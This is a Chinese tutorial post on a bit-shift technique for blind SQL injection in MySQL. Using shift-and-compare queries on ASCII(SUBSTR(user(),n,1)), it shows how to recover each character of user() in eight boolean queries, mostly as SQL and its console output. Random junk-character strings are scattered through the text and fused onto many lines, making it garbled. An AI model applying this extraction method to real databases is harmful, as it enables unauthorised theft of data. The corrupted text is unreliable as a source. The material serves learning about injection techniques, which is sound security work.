关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


5 Y* D4 N! [2 w  `
下面将以查询mysql数据库当中user()的第一位为例:
/ Q) I* p# G1 t# S3 p


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



首先执行如下sql语句:
" K6 _  z5 a6 h, U6 T3 O
8 {* {1 R% y+ K0 H, U$ l
# [2 }. ]& S: h" r! _6 N
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 L- y& P0 t& g6 E7 Y8 C: z

* [/ `6 x* ^! V
$ C& B# \7 G4 v5 ^0 i6 e) b0 K我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

& g+ r4 V! N7 ]( x
# z% v: n% E" v+ T1 t: F+ D
: B; \4 \3 v5 b( @第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
% ]! Q& ^' p. O- k7 L) j) j& S- O
1 ?) X5 @6 Z2 `# F2 |* H2 A1 P( N( A
& ?/ t1 A- ~# _
如果运算结果为1,说明第一位为0,不为1
$ V4 `- U& N+ H


# g$ B7 P! C8 E" C6 W6 M" G+ A9 y+————————————–+

9 |+ k3 S( y! \| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

/ d' P# s8 j- r  N0 q# n| 1 |

+————————————–+

8 x  H1 U. h+ y+ o1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
% d9 E- Z2 M7 S! F9 [. o& g7 B


第二次我们来做6次右偏移来确定前两位
4 c  A* h. u# ?3 L* T, b# E7 `


前两位可能是01或00,即依然可以与0做比较,
+ G6 T6 P1 |1 L' l- m$ L1 `+ b
/ j5 g# z; l9 H- [  e, lmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
% _$ I1 }, |' [1 w, `
3 r4 D/ p( c3 W$ z9 O4 u| (ascii((substr(user(),1,1))) >> 6)=0 |
0 `* r) q3 n& q+ S
+————————————–+

| 0 |

+————————————–+

0 l# U3 [8 v2 h, _$ `7 T1 row in set (0.00 sec)



结果为0,即第二位为1

# F9 a, K& a# X- ~  |1 a5 u

开始猜测前三位为010或011


" }% X' f% j. E6 _
7 p% X: v# N. ^3 R% H& T$ Y让我们看看010和011的ascii码是多少

+ \" C0 c" Q9 y

分别查询select b’011′ select b’010′
  ^0 l4 V4 @  M( f$ |, f; r; ~
2 k' I( U* a/ H: Z; H
$ h. P4 h7 T* }. D) f/ q4 n5 N( [
  H* @3 c* m3 Q: R; [获得结果 010 = 2 011 = 3

( s( ?7 H6 k; P' N
% ?, @% j2 k. }6 @* J
3 T& I3 Y( [! P$ O7 g- Q执行如下sql:



& f2 p& p( b+ l* ~1 ]2 j3 u6 ?mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+ p9 Q: B% ~6 I$ L( l+————————————–+
1 L/ k( m. O, i1 I5 E8 H! i' e; U- [
| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
/ Z3 c: Z# C9 x. a- ?
| 0 |
0 g- }% q( ]  D5 i( o) k
+————————————–+

即前三位不为010,而是011

0 q+ c  r4 z' A/ k7 s7 V1 ~
, m/ E6 N0 p. W, u, s) a
直到获得最后一位
: b' {# c& b; b* v9 V) b


& t9 i& d8 G. V. t最终结果为:01110010
! P4 H9 b5 M1 f1 P+ R

  Z9 ~6 ]0 V/ x$ P& ]( R1 `
转换一下:

& o9 U( [7 p& |7 u" z, a$ x  P7 ^
/ ]  K# E- u- v* [/ r: S0 F& b( S
select b’01110010′
" T! s* {8 {5 F/ {+ k  O
* Q# u- ]( x6 n0 Z% B

$ B+ \, ~9 @2 c4 P1 U- j2 v8 Y3 m查询结果


# u$ f- X! V3 c, ~- s: m
* ]7 l, W- w  o0 r) U8 a' _8 p+————-+

| b’01110010′ |
' g8 }2 u( |, B4 M5 J  v2 O6 E9 Q/ O
" S) ^4 v* `. n3 w+————-+

| r |

+————-+
8 }% m. d$ e4 R8 V1 c0 H
1 row in set (0.00 sec)

2 o5 P' @& m- ?: y: n2 B+ E

这样我们就获得了user()的第一位.其它位依此类推

3 E+ m) U" L! v& y# F* j% e; W